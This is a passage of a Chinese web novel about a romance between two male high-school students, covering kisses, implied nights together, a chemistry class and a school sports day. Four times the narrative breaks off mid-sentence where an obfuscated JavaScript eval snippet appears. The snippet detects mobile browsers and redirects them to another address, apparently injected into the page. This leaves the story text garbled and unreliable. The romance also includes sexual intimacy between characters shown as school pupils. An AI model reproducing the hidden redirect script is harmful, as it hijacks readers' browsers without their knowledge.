他的指尖轻轻划过,带着痒意,惹得秦玉浑身一颤。 “沈月落……” 秦玉脸颊带着红,但好似又带着些许媚意,他手臂收紧,踮起脚……凑得更近…… 秦玉的脸颊烧得滚烫,那点薄红顺着下颌线漫进衣领,眼尾却洇着不自知的媚色。 他攥着沈月落校服衣角的手指泛白,猛地收紧手臂,踮起的脚尖让两人的距离骤然拉近,呼吸都缠在了一起。 鼻尖相触 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“唔……”秦玉闷哼一声,后背抵着冰凉的墙壁,喉结不受控地滚动了一下。 沈月落的吻太猛,带着不容拒绝的侵略性,舌尖蛮横地扫过他口腔的每一处,逼得他几乎喘不过气。 唇瓣相贴的地方传来灼热的触感,连带着空气都仿佛烧了起来。 但秦玉哪是甘心被压制的性子? 学霸的好胜心在此刻被彻底点燃。 回吻?当然要,还要比他更凶。 他抬手扣住沈月落的后颈,指尖用力,非但没躲,反而主动迎了上去。 两人唇齿相撞,发出暧昧的水渍声。 秦玉的舌尖带着韧劲,寸步不让地与他纠缠…… 他们站的地方离床不过几步远,秦玉看着沈月落眼中翻涌的情愫,突然发力。 别看他瘦,腕间的力气却大得惊人,不等沈月落反应,便攥着他的手腕,猛地将人推到床上。 床垫下陷,沈月落闷声跌坐,还没来得及撑起身子,秦玉就俯身压了上去,吻得更急、更深。 舌尖勾着他的,辗转厮磨,掠夺着他口中的每一丝气息。 这下沈月落成被动的了…… 秦玉的双手撑在沈月落的腰侧,指节微微泛白,胸腔里的心跳快得像是要炸开。 唇齿纠缠间,时间仿佛被拉得无限长。 直到两人都有些缺氧,秦玉才微微直起身,额角的薄汗蹭到沈月落的脸颊,灼热的呼吸扑在对方泛红的唇角。 他低头看着沈月落被吻得红肿的唇,自己的喉结也滚了滚,双手撑在那人温热的腹部,指尖无意识地蜷缩了一下。 房间里静得厉害,只剩下两人急促的喘息声,在昏暗中晕开一层滚烫的暧昧。 “沈月落……” “……” 许久……一颗颗珍珠掉落在木质地板上…… 但却也不知是从哪里传来“啪啪”的火星声,掩盖住了它的声音…… 没有准确数字,但时间却已过了很久…… 可能是天都快亮了,两人才在床上紧紧相拥…… 20. 报名表 下午第一节是化学实验课,文墨言将分组名单贴在实验室门口,沈月落扫了一眼,立马挤到秦玉身边,手指点着纸上并排的两个名字,尾音都带了点雀跃:“秦同学!你看!咱俩是一组!” 秦玉没说话,耳根却先红了,垂着眼把手里的实验手册翻得哗哗响,指尖却不自觉地往沈月落那边偏了偏,替他把散落在桌角的胶头滴管归拢好。 实验步骤不算复杂,溶解、过滤、蒸发,两人配合得意外默契。 沈月落往烧杯里倒蒸馏水时,秦玉正低头调酒精灯的火焰,发丝垂下来,扫过白皙的后颈。 沈月落看得晃神,水流一下子漫出烧杯口,溅在秦玉手背上。 他慌忙抽了张纸巾递过去,指尖擦过那片温热的皮肤,声音都低了半分:“抱歉抱歉,烫着没?” 秦玉摇摇头,飞快地缩回手,耳根的红一路漫到脸颊,捏着纸巾的指尖微微发紧。 实验顺顺利利做完,收拾器材的时候,沈月落抢着把秦玉手里的铁架台接过来,理由是“你劲儿小,别磕着碰着”。 秦玉没反驳,只是看着他弯腰搬东西的背影,嘴角悄悄弯了个极小的弧度。 从实验室走回教室的路上,太阳有点晃眼,两人并肩走着,影子被拉得老长。 刚在座位上坐定,秦玉就抬手揉了揉酸胀的腰,实验站了整整一节课,确实有点累。 沈月落更直接,瘫在椅子上,长腿伸到桌下,轻轻拽了拽秦玉的衣角:“累坏了吧秦同学,晚上带你去吃校门口的糖水。” 秦玉只是“嗯”了一声,但可以听出他的开心。 两人闭着眼睛靠在椅背上有些昏昏欲睡,可前排的那个女孩儿突然抱着一沓纸跑过来,脚步噔噔响,停在他俩桌前,扬着最上面那张纸,嗓门清亮:“秦会长!今年的运动会你报名吗?” 她是章以清,是秦玉在班里唯一的朋友。 她是数学课代表,但不要问她为什么过来送报名表,因为刘建民是管这一块儿的,正好让她送过来了…… “我报!” 沈月落耳朵尖儿先支棱起来,听见“运动会”三个字,还没等秦玉答话,他手“啪”地拍在桌沿上,眼睛亮得像淬了星子的糖块。 沈月落毕竟是刚转来A班的,章以清也不了解他,但她听说很多人说他名声不好,所以章以清压根都没想问他,可这突如其来的一声,她笔尖顿在报名表上,抬眼时眉梢都扬出点错愕的弧度,一个“?”笔都差点在报名表上划出一道长长的痕迹…… 秦玉正专心地整理散在桌面上的课本,也就是这一声响,秦玉被吓了一跳,他侧过头,看着沈月落的眼神里,也明晃晃揣着个没说出口的“?”。 大部分同学也都在教室里休息,本来吵闹的班级,再这时就突然鸦雀无声了…… 好熟悉的情景…… 同学们抬头看着他:“?” 刘建民刚好路过,听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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走廊里瞬间炸开了锅,椅子腿蹭着地面的刺啦声,书包拉链的哗啦声,还有男生们勾着肩膀喊着要去吃火锅的嚷嚷声,混在一起,吵得人耳朵发涨,却又莫名觉得暖和。 有人把围巾绕了两圈,鼻尖冻得发红,还在跟同桌掰扯着跨年要守到几点;有人扒着教室后门的门框,踮着脚往楼下望,看校门口有没有来接自己的家长;还有人慢吞吞地收拾着桌肚里的卷子,把笔帽摁得咔嗒响,嘴角却偷偷翘着,藏不住那点雀跃。 夕阳把教学楼的影子拉得老长,橘红色的光漫过走廊的栏杆,落在一阶阶的台阶上,连带着那些奔跑打闹的影子,都染得软乎乎的。 沈月落牵着秦玉的手走出校门,风里卷着甜丝丝的香气,鼻尖一勾,就瞥见了街角那个冒热气的红薯摊。 他其实打小就不爱吃这玩意儿,可指尖触到秦玉微凉的掌心,脚步就不由自主地拐了过去,熟稔地冲摊主喊了声:“要个烤得透透的,带焦皮的。” 秦玉愣了愣,侧脸的绒毛被夕阳染成暖金色,刚要开口问,就见沈月落已经付了钱,转身把还烫手的红薯塞进他手里,自己则攥着秦玉空出来的那只手哈气:“看你手凉的,揣着暖暖……” “你……” 尾音轻得像缕烟,散在傍晚微凉的风里。 秦玉捏着烤红薯的指尖微微发紧,那点烫透过薄薄的塑料袋渗进来,却抵不上掌心被焐着的温度。 他没急着往嘴里送,反而抬眼,撞进沈月落垂着的眸子里。 一米九二的大高个儿,此刻正在自己面前,脊背微微弓着,像只温顺的大型犬。 他的手掌宽大温热,严严实实地裹着秦玉冰凉的手,指腹轻轻摩挲着他冻得发红的指节,连带着腕骨都被焐得发烫。 街边的路灯刚亮起来,暖黄的光落在沈月落发顶,镀上一层毛茸茸的边,冲淡了他平日里那股子张扬的劲儿。 沈月落察觉到他的目光,抬眼时眼尾弯着,带了点细碎的笑意。 他没说话,只是低下头,微热的唇瓣轻轻扫过秦玉微凉的手背。 那触感很轻,像羽毛拂过,却带着灼人的温度,一路烧到秦玉的心底。 下一秒,沈月落又把他的手贴在自己脸上,侧脸轻轻蹭了蹭…… 他的声音低哑,带着点刻意的勾缠,像小猫的爪子在挠人心尖:“甜的……糯的……你喜欢吃。” 秦玉的耳尖“腾”地一下就红透了,连带着脸颊都烧得慌。 他像被烫到似的,飞快地抽回手,指尖还有点发颤。 他低头,小心翼翼地剥开烤红薯焦香的外皮,金黄的瓤露出来,热气混着甜香扑到鼻尖,暖融融的。 他小口小口地咬了一点,红薯的甜腻在舌尖化开,软糯得很。 “好吃吗?” 沈月落的声音就在耳边,带着笑意。 秦玉抬眼,撞进他盛满温柔的眸子里,那里面的宠溺快要溢出来,把他整个人都裹住了。 “好不好吃……”秦玉咬着红薯,抬眼睨他,声音细若蚊蚋,却带着点狡黠的勾缠,“你自己试试不就行了……” 这话一出,沈月落愣了愣。 他蹲在原地,看着秦玉泛红的唇角,还有沾在上面的一点红薯泥,脑子像是被什么东西狠狠撞了一下,瞬间卡了壳。 平日里的机灵劲儿全没了,只剩下满眼的错愕,连呼吸都慢了半拍。 秦玉看着他这副傻愣愣的样子,忍不住“嗤”地笑出声。那笑声清清脆脆的,像风铃在响。 秦玉往前凑了凑,但这可恶的11厘米的身高差,让他不得不踮起脚尖。柔软的发顶蹭过沈月落的下巴,带着点洗发水的清香。 下一秒,秦玉的唇轻轻贴了上去。 很轻的一个吻,带着红薯的甜香,还有一点烫人的温度。 沈月落的呼吸猛地顿住。 他能清晰地感受到唇瓣相触的柔软,感受到秦玉身上淡淡的玫瑰味,混着红薯的甜腻,一起涌进鼻腔。 他从前总嫌烤红薯太甜太腻,一口都不愿碰,觉得那股子甜腻劲儿能齁死人。 可此刻,舌尖漫开的甜,却顺着血管,一路甜到了心底最软的地方。 秦玉吻得很轻,浅尝辄止,刚想退开,手腕却被沈月落扣住。 他的力道不算重,却带着不容拒绝的意味。 沈月落微微起身,因为身高差,微微低头,就着这个姿势,加深了这个吻。 暖黄的路灯把两人的影子拉得很长,交叠在一起,像一幅温柔的画。 街边偶尔有车驶过,带起一阵风,吹得秦玉的头发微微晃动。 他的手不自觉地攥住沈月落的衣角,指尖微微发颤,心跳快得像是要撞出胸腔。 不知过了多久,沈月落才缓缓退开,额头抵着他的,呼吸有点乱。 他看着秦玉泛红的眼眶,看着他唇瓣上沾着的水光,忍不住低头,在他唇角啄了一下,哑着嗓子笑:“确实……很甜。” 秦玉的脸更红了,他别过脸,不去看他,指尖却攥得更紧了。 手里的烤红薯还冒着热气,甜香弥漫在两人之间,像一汪温柔的潭,把他们都裹了进去。 “要不然……咱们回家,吃点不一样的。” 沈月落的声音压得很低,带着点喑哑的笑意,尾音勾着,像根羽毛似的,轻轻搔在秦玉的耳廓上。 秦玉抬眼,撞进他含笑的眸子里。 那总是发着亮的双眼,此刻浸着浓稠的夜色,眼底的坏笑藏都藏不住,明晃晃地写着些不言而喻的心思。 秦玉的脸颊瞬间就热了,连带着耳根都染上薄红。 他当然听得出沈月落话里的弦外之音,哪里是想吃什么不一样的东西,分明是醉翁之意不在酒。 手里的烤红薯还剩小半块,金黄的瓤凉了些,甜香却还在。 秦玉低头,指尖无意识地抠着红薯皮…… 晚风吹过……好冷,但他们不觉得…… 沈月落看着他泛红的耳尖,看着他垂着眼帘、睫毛轻颤的模样,忍不住低头,在他发顶印下一个轻吻,声音里的笑意更浓了:“嗯?不说话,是害羞了?” 秦玉被他这句话逗得更窘,抬眼瞪了他一下,那眼神却没什么之前的威慑力了,现在的他反倒像是小猫挠痒,软乎乎的。 他咬了咬下唇,声音细若蚊蚋,却带着一丝不易察觉的期待:“嗯,回家……” 没有半分拒绝。 沈月落的眼睛瞬间亮了。 他低笑一声,松开秦玉的手腕,转而牵住他的手,十指紧扣。 两人并肩往家的方向走。 路灯把他们的影子拉得很长很长,交叠在一起,像是再也分不开。 或许会感到奇怪,秦玉为什么没有拒绝,其实……他也在期待着。 期待着回家之后,沈月落会给他的,那些不一样的、滚烫的温柔。 可到了家,秦玉揣在兜里的手指都快绞出汗了,心跳得跟擂鼓似的,结果眼前的景象,跟他脑补了一路的画面,压根是两码事。 沈月落系好围裙,转头看向他,笑得眉眼弯弯:“秦同学,等我一会儿菜,马上做好!” 秦玉的脚步顿在玄关…… 他本来以为……以为沈月落说的“不一样的夜晚”,会有什么不一样的安排,比如烛光,比如红酒,再比如…… 可现实并非如此…… 他看着餐桌上沈月落一个接一个端过来的饭菜,把餐厅的圆桌摆得满满当当,糖醋排骨的酱汁亮得晃眼,清蒸鲈鱼飘着淡淡的姜丝香,还有他最爱的蒜蓉娃娃菜,绿莹莹的透着光。 可秦玉的心口像是被什么东西轻轻撞了一下,有点空落落的。 秦玉自己都没察觉,他坐下吃饭的时候,嘴角抿得紧紧的,连沈月落夹给他的排骨,都吃得没什么滋味。 一顿饭吃得安安静静,沈月落倒是兴致很高,不停给他夹菜,絮絮叨叨说着今天买菜的时候遇到的趣事,秦玉嗯嗯啊啊地应着,心思早就飘远了。 洗完澡出来,秦玉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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秦玉绷着身子,不肯回头,却也没再推开他。 时间过得很慢,墙上的挂钟,分针一下一下地走着,指向了十一点五十八分。 秦玉的心跳,又开始不受控制地加速。 他偷偷瞄了一眼挂钟,指尖微微发颤。 还有两分钟。 一分钟。 三十秒。 十,九,八…… 三,二,一。 当零点的钟声,浑厚地敲响第一声时,秦玉的身子猛地一轻。 沈月落一把将他扑倒在沙发上,温热的身体压着他,带着不容拒绝的力道。 秦玉惊呼一声,刚想挣扎,就被沈月落按住了手腕,抵在沙发柔软的布料上。 他的脸近在咫尺,眼底的笑意散去,只剩下浓得化不开的温柔,还有一点点狡黠。 “秦同学,别生气。”沈月落的声音很低,是情人间的呢喃,他拂过秦玉的嘴唇,“我是想,在新的一年的第一天,与爱人度过一个难忘的夜晚。” 秦玉的呼吸一滞,所有的脾气,像是被瞬间抽走了,脸颊烫得惊人,连耳根都红透了。 他张了张嘴,想说什么,却又不知道该说什么,只能眼睁睁地看着沈月落的脸,越来越近。 “那……你……”他的声音细若蚊蚋,带着点慌乱的结巴。 沈月落没再说话,只是低头,吻住了他的嘴唇。 这个吻来得猝不及防,却又带着蓄谋已久的温柔。 唇瓣相贴的瞬间,秦玉的脑子“嗡”的一声,像是炸开了烟花。 温热的触感,带着让人眩晕的力道,辗转厮磨,温柔缱绻。 这是2026年的第一个吻。 吻得缠绵而悠长,直到秦玉喘不过气来,沈月落才微微退开一点,额头抵着他的额头,鼻尖蹭着他的鼻尖,声音沙哑,却带着无比的认真:“秦同学……我爱你。” 秦玉的眼眶,瞬间就红了。 他抬手,搂住沈月落的脖子,踮起脚尖,回吻住他的嘴唇,声音带着哽咽,却又无比清晰:“我也爱你……” 窗外的烟花,不知何时悄然绽放,绚烂的光芒透过窗帘的缝隙,映亮了沙发上相拥的两人。 又是一个不眠之夜。 从客厅到浴室……从浴室到房间…… 别墅里的灯,一晚上都在亮着…… 22. 训练 又是新的一周,清晨的风裹着秋意掠过教学楼,把走廊里的喧哗吹得七零八落。 正门前的电子屏亮得晃眼,一行猩红的大字反复滚动着——运动会倒计时:2天。 教室里闹哄哄的,后排几个男生凑在一起打赌,赌今年的长跑冠军会不会还是隔壁班的体育生;前排的女生则低头绣着加油牌,彩线在指尖翻飞,缀出“A班加油”的字样。 唯独沈月落,单手撑着下巴,目光懒洋洋地黏在斜前方的身影上,半点没把倒计时当回事。 直到王起给他发了一个信息提醒:沈哥,你报一千米,真不练练啊?后天就开赛了,你不想嫂子好好表现一下自己,怎么才能抱得美人归呢? 沈月落这才慢悠悠地回神,指尖无意识地敲了敲桌面。 他上周确实是脑子一热,赶紧报了名,之后就把这事儿抛到了九霄云外,连操场的方向都没再瞅过。 他抬眼,看向那个正低头整理笔记的少年。 秦玉坐在靠窗的位置,晨光透过玻璃,在他乌黑的发顶镀上一层柔光…… 听见动静,秦玉转过头来,目光撞进沈月落带笑的眼眸里,无奈地弯了弯唇角:“沈同学,你总算想起来还有训练这回事了?” 沈月落挑了挑眉,起身晃到他桌前,俯身凑近,温热的气息拂过秦玉的耳畔,带着点痞气的笑意:“秦同学不是也报了项目吗?我特意来陪你训练呀~” 秦玉的耳根瞬间漫上一层薄红,伸手推了推他的肩膀,声音细弱:“少贫嘴,赶紧走,再磨蹭就赶不上热身了。” 沈月落低笑一声,顺势握住他的手腕,指尖不经意地蹭过他温热的皮肤,惹得秦玉轻轻颤了一下。 两人并肩走出教室,阳光洒在身上,暖洋洋的,风里飘着操场青草的清新气息。 操场上早就热闹起来了,跨栏架一字排开,实心球被扔出一道道弧线,还有人在跑道上冲刺,脚步声震得塑胶地面微微发颤。 秦玉拉着沈月落走到跑道边,开始做热身运动,压腿、拉伸、高抬腿,一套动作下来,额角渗出了细密的汗珠,顺着下颌线滑落,没入校服领口。 沈月落看得有些晃神,喉结不自觉地滚动了一下。 他的目光黏在秦玉泛红的脸颊上,落在他因为运动而微微起伏的胸膛上,眼底的笑意越来越浓。 “跑两圈热热身?”秦玉侧头问他,声音带着点喘,格外动听。 沈月落点点头,跟着他迈开步子。 秦玉的跑步姿势很好看,脊背挺直,步伐轻快,像一只舒展羽翼的飞鸟。 沈月落刻意放慢了速度,跟在他身侧,目光片刻不离。 跑了还没半圈,沈月落就开始盘算着耍赖的招数。 他瞅准时机,慢慢放缓脚步,捂着肚子弯下腰,眉头皱得紧紧的,声音也带上了几分刻意的虚弱:“秦玉……等等我……” 秦玉听到声音,立刻停下脚步,转身跑回来,蹲在他身边,伸手扶住他的胳膊,语气里满是担忧:“怎么了?是不是岔气了?要不要歇会儿?” 沈月落抬眼看他,长长的睫毛耷拉着,眼底水光潋滟,看起来可怜兮兮的:“不知道……突然就没力气了,腿软得厉害。” 他一边说,一边顺势往秦玉身上靠。肩膀紧紧贴着秦玉的肩膀,手臂也软塌塌地搭在他的胳膊上,鼻尖几乎要碰到他的脖颈。 秦玉的体温很高,隔着薄薄的校服布料,也能清晰地感受到那份温热,还有他身上淡淡的皂角香。 秦玉皱着眉,伸手摸了摸他的额头,又捏了捏他的胳膊:“没发烧啊,是身体那里不舒服吗?” 沈月落心里偷着乐,脸上却依旧是那副难受的模样。 他轻轻摇了摇头,脑袋往秦玉的颈窝蹭了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17163962|196613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蹭,声音软得像棉花糖:“不是……就是累,站都站不稳了。” 他知道秦玉最吃他这一套,向来是拿他没辙的。 秦玉果然被他蹭得浑身发麻,耳根红得更厉害了。 他犹豫了一下,伸手揽住沈月落的腰,想扶他起来:“那……我扶你去旁边歇会儿?” 沈月落却得寸进尺,干脆把全身的重量都压在他身上,手臂也环住了他的腰,脑袋搁在他的肩膀上,声音带着点委屈,又带着点撒娇的意味:“扶着走不动,秦同学,你再靠近点,让我靠会儿。” 周围几个正在热身的同学瞥见这一幕,都忍不住低低地笑起来,目光里带着几分打趣。 秦玉的脸瞬间红透了,从耳根蔓延到脸颊,连脖颈都染上了薄红。 他瞪了沈月落一眼,声音压得很低,带着点羞恼:“沈同学!” 沈月落却不依不饶,反而抱得更紧了些,鼻尖蹭着他颈侧的皮肤,闷声闷气地笑:“我不管,我就是累了,就要靠你。” 他的呼吸拂过秦玉的皮肤,烫得秦玉浑身都僵住了。 周围的笑声越来越明显,秦玉却偏偏拗不过他,只能认命似的挺直脊背,让他靠着,伸手轻轻拍了拍他的后背,声音软得一塌糊涂:“好了好了,靠会儿就靠会儿,别耍赖了。” 沈月落偷偷扬起嘴角,眼底满是得逞的笑意。 他把脸埋在秦玉的颈窝里,贪婪地嗅着他身上的味道,感受着他温热的体温,心里甜滋滋的。 阳光透过梧桐叶的缝隙,碎金似的落在两人身上,暖融融的。 跑道上的脚步声、嬉闹声依旧,可沈月落的世界里,只剩下身边人的温度和气息。 运动会什么的,垫不垫底好像真的没那么重要了。 毕竟,能这样光明正大地靠着秦玉,感受着他的紧张和纵容,可比拿第一名有意思多了。 23. 运动会的拥抱 周三的风,裹着香樟叶的碎影,卷着初秋的凉,扑在北华七中每一寸红砖白墙上。 空气里飘着彩旗的油墨香,混着少年们身上的皂角味,还有广播里循环播放的运动员进行曲,吵吵嚷嚷的,却透着一股子让人心里发痒的鲜活。 这是全校师生盼了半个月的秋季校运会。 天刚蒙蒙亮,校园里就炸开了锅。 各班的彩旗手举着五彩斑斓的旗子,在操场上列队;穿着蓝白班服的学生们扯着嗓子喊口号,声音震得教学楼的玻璃都微微发颤;就连平日里最严肃的教务处门口,黑板上都用彩色粉笔画了个歪歪扭扭的笑脸,旁边写着“祝校运会圆满成功”。 高2A班的队伍里,秦玉站在最前排。 他身上穿着的红色运动背心,面料崭新得能看出折痕,颜色鲜亮得晃眼,是昨天沈月落硬拉着他去一家高级的运动商店买的。 “秦同学,你那身洗得发白的校服怎么跑四百米?”昨天放学,沈月落叼着根草莓味棒棒糖,不由分说地拽着他的手腕往店门口走,手掌宽大温热,力道不轻不重,带着不容拒绝的强势,“给你挑身新的,穿我的眼光,保准跑第一。” 秦玉当时红着脸挣扎,嘴上说着“不用浪费钱”,脚下却被沈月落拽着,一步一步跟着走。 但他最后选了这身红色,但不是很亮的那种,沈月落盯着他换上,眼睛亮得像藏了整片星空,语气里的惊艳烫得秦玉耳根发红:“好看,秦同学穿什么都好看。” 但此刻,沈月落正慢悠悠地晃到秦玉身边。 他穿着一身黑色运动服,领口松松垮垮地敞着,露出半截线条利落的锁骨,额前的碎发被风吹得微微翘起,眼神里带着点桀骜不驯的漫不经心。他侧头看着秦玉,笑得温柔:“秦同学,紧张吗?” 秦玉的心跳漏了一拍,面上却依旧淡漠,轻轻“嗯”了一声,算是回应。 沈月落也不恼,伸手想揉他的头发,指尖刚触到发梢,就被秦玉抬手拍开。 少年的动作带着点青涩的慌乱,惹得沈月落低低地笑了起来,声音里的笑意像羽毛,轻轻搔着秦玉的耳膜。 不远处的主席台上,班主任江涛正忙着清点人数,手里拿着个小本本,嘴里念叨着“都到齐了没”,没注意到这边的小动作。 而他身边,教务处主任刘建民正站着,一身挺括的白衬衫,袖口扣得严丝合缝,平日里总是板着的脸,此刻难得松快,目光落在操场上,嘴角微微弯着。 化学老师文墨言站在他旁边,手里拿着一瓶冰镇矿泉水,趁着没人注意,悄悄递到刘建民手里。 指尖不经意地蹭过刘建民的掌心,带着微凉的温度。刘建民的耳根红了红,接过水,低声说了句“谢谢”,声音轻得只有两人能听见。 他们的恋情,在北华七中是不能说的秘密…… 他们会在办公室没人的时候,偷偷牵着手;会在晚自习结束后,在校园的香樟树下拥抱;会在周末的时候,一起去逛超市,买很多很多的菜,回家煮一锅热气腾腾的汤。 只是在学校里,他们要装作最普通的同事,连说话都要注意分寸。 此刻,文墨言看着刘建民紧绷的侧脸,忍不住弯了弯嘴角。 他知道,刘建民嘴上说着不喜欢这种热闹的场合,心里却比谁都在意这些学生。 开幕式的音乐响起来了。 校长站在主席台上讲话,无非是些“友谊第一,比赛第二”的官话套话。 秦玉听得认真,手里还攥着一张单词卡,趁着间隙背单词。 沈月落没心思听,目光就黏在秦玉的侧脸上,看他微微抿起的嘴唇,看他因为皱眉而蹙起的眉心,看他被风吹得微微晃动的发丝,看得满心欢喜。 突然,秦玉感觉到手背被碰了一下。 他低头,看见沈月落的手指,正偷偷勾着他的小指。 指尖的温度滚烫,像是电流,瞬间窜遍了全身。秦玉的心跳漏了一拍,下意识想缩回手,却被沈月落攥得更紧了。 他侧头瞪了沈月落一眼,眼神里带着点警告,脸颊却悄悄红了。 沈月落冲他挑了挑眉,嘴角勾起一抹痞气的笑,眼底却藏着化不开的温柔。 开幕式结束后,比赛正式开始了。 操场上瞬间变成了欢乐的海洋。 短跑的选手们像离弦的箭,跳远的选手们在空中划出优美的弧线,加油声、呐喊声、欢呼声,交织在一起,汇成了一首热血沸腾的青春交响曲。 秦玉报的是男子四百米,沈月落报的是男子一千米。 四百米的比赛在上午。 检录的时候,秦玉脱下了外套,露出里面的红色运动背心,崭新的面料贴着皮肤,带着淡淡的洗衣液香味…… 阳光落在他身上,勾勒出清瘦却不失力量的线条,看得周围几个女生都红了脸。 沈月落站在他身边,帮他捏着肩膀,力道适中,语气里带着点调侃:“秦同学,别紧张,跑输了我可不帮你报仇。” 秦玉白了他一眼,却没推开他的手,声音里带着点不易察觉的紧张:“知道了。” 发令枪响了。 他的步伐很快,手臂摆动的弧度利落,耳边是呼啸的风,是震耳欲聋的加油声。 他能看到,看台上的高2A班同学举着写着“秦玉加油”的牌子,喊得声嘶力竭;他能看到,江涛站在跑道边,攥着拳头,比他还紧张;他还能看到,沈月落站在终点线前,目光灼灼地看着他,眼神里的期待,快要溢出来。 最后一百米,秦玉拼尽了全力。 他的胸腔剧烈起伏着,汗水顺着额角往下淌,滴落在跑道上。他咬紧牙关,秦玉的身子瘦弱,但怎么可能会输给别人,他双腿像装了马达,朝着终点线冲去…… “砰!” 他的胸膛撞线的那一刻,整个高2A班的阵营都炸开了锅。 “第一名!高2A班,秦玉!打破校纪录!”广播里传来裁判的声音,瞬间点燃了全场的欢呼。 秦玉停下脚步,弯着腰大口大口地喘着气,浑身的肌肉都在发颤。 沈月落第一个冲了过来,手里拿着一瓶矿泉水,还有一条干净的毛巾。 他把水递给秦玉,又用毛巾帮他擦着脸上的汗,动作温柔得不像话:“厉害啊,秦同学,没辜负我给你买的衣服。” 秦玉抬起头,看着沈月落的笑脸,阳光洒在他的脸上,那双总是带着桀骜的眼睛里,此刻满是笑意。 秦玉的心里像是被什么东西填满了,好暖……好甜…… 他想说点什么,却被周围涌上来的同学围住了。 江涛跑过来,拍着他的肩膀,笑得合不拢嘴:“好小子!给咱们班争光了!” 秦玉的目光,却穿过人群,落在沈月落的身上。 沈月落冲他眨了眨眼,嘴角的笑意更深了。 下午,是男子一千米的决赛。 这是校运会的压轴项目,也是最受瞩目的比赛。 看台上的人挤得满满当当,连主席台上的老师们,都放下了手里的工作,目光紧紧地盯着跑道。 高2A班的阵营里,喊着“沈月落加油”的声音,几乎要掀翻整个看台。 秦玉站在跑道边,手里攥着一瓶没开封的矿泉水,指节因为用力而泛白。 他的心跳很快,比自己比赛的时候还要紧张。 他看着沈月落站在起跑线上,一身黑色运动服,像一只蓄势待发的猎豹,浑身都透着一股野性的力量。 沈月落的目光扫过人群,最后落在秦玉的身上,嘴角勾起一抹张扬的笑,隔着老远,清晰地喊了一声:“秦同学,看我的!” 秦玉的心跳漏了一拍,下意识地握紧了手里的矿泉水。 发令枪响了。 八名选手同时冲了出去。 沈月落的起步不算快,他擅长的是耐力跑。前半程,他一直跟在大部队的后面,步伐稳健,呼吸均匀。 到了后半程,他开始加速了。 他的速度越来越快,像是一阵黑色的旋风,超过了一个又一个对手。 看台上的欢呼声越来越响,喊着他名字的声音,震得人耳膜发疼。 秦玉的手心全是汗,眼睛一眨不眨地盯着他,生怕错过任何一个瞬间。 最后两百米,沈月落猛地加速,冲到了最前面。 他的胸膛剧烈起伏着,汗水顺着下颌线往下淌,浸湿了胸前的衣料,可他的眼神亮得惊人,像是淬了火的星子,直直地朝着终点线冲去。 “还有一百米!沈月落加油!冲啊!”广播员的声音带着颤抖的激动,传遍了整个操场。 秦玉的心跳快得像是要蹦出嗓子眼,他死死地盯着沈月落,看着他离终点线越来越近,越来越近——风掀起他的衣角,少年的身影在阳光下,耀眼得让人挪不开眼。 “砰!” 沈月落的胸膛撞线的那一刻,整个北华七中都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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因为秦玉在所有人的注视下,猛地扑进了他的怀里。 那一瞬间,周遭的喧嚣仿佛都被按下了静音键。 风声、欢呼声、惊呼声,全都消失了,秦玉的世界里,只剩下沈月落身上的味道——混着汗水的皂角香,清冽又灼热…… 他的额头抵着沈月落汗湿的锁骨,手臂像是有了自己的意识,紧紧地箍住沈月落的腰,力道大得像是要把自己嵌进对方的骨血里。 胸腔里的心跳快得要炸开,连带着身体都控制不住地微微发颤,鼻尖一酸,竟生出几分委屈的哽咽。 他能感觉到沈月落的身体瞬间僵住,背脊绷得笔直,连呼吸都停了半拍。 能听到周围倒抽冷气的声音,能想象出看台上所有人目瞪口呆的模样,可他一点也不想松开。 他是高高在上的学生会会长,是别人眼里高冷的学神,可他也是个少年,也会为了另一个少年的笑容,心跳失序,溃不成军。 他喜欢沈月落喊他“秦同学”时的语气,喜欢沈月落偷偷勾他小指时的温度,喜欢沈月落看他时,眼底藏不住的温柔。 这些喜欢,压抑了太久,终于在这一刻,冲破了所有的束缚,化作了这个不管不顾的拥抱。 沈月落僵了足足有三秒,才缓缓地、缓缓地抬起手,落在了秦玉的背上。 他的手掌宽大温热,带着运动后的薄汗,轻轻拍着秦玉的后背,动作里带着点小心翼翼的安抚,像是在对待一件稀世珍宝。 周围的窃窃私语声渐渐响了起来,带着震惊和八卦的意味。 “我靠?秦会长?他居然主动抱校霸沈月落?” “他俩不是才做同桌?应该还不到一个月吧?这也太甜了吧!” “校霸和学霸会长,这组合我能磕一万年!” 跑道边的老师们也愣住了,面面相觑。 江涛刚想开口说什么,却被身边的刘建民拉了一下胳膊。 他转头看去,只见刘建民微微摇了摇头,目光落在相拥的两个少年身上,眼神里没有责备,只有一点淡淡的笑意。 而站在刘建民身边的文墨言,看着眼前的一幕,嘴角弯起了一抹温柔的弧度,悄悄伸出手,握住了刘建民的手指。 阳光正好,落在两个相拥的少年身上……温暖…… 24. 新朋友 校运会散场后的喧嚣还没完全褪去,而秦玉的脸颊还泛着薄红,指尖仿佛还残留着拥抱时沈月落身上的温度,他低头盯着自己的运动鞋鞋尖,没敢去看身侧的人。 沈月落走在他旁边,黑色运动服的袖口挽了半截,露出线条利落的小臂。 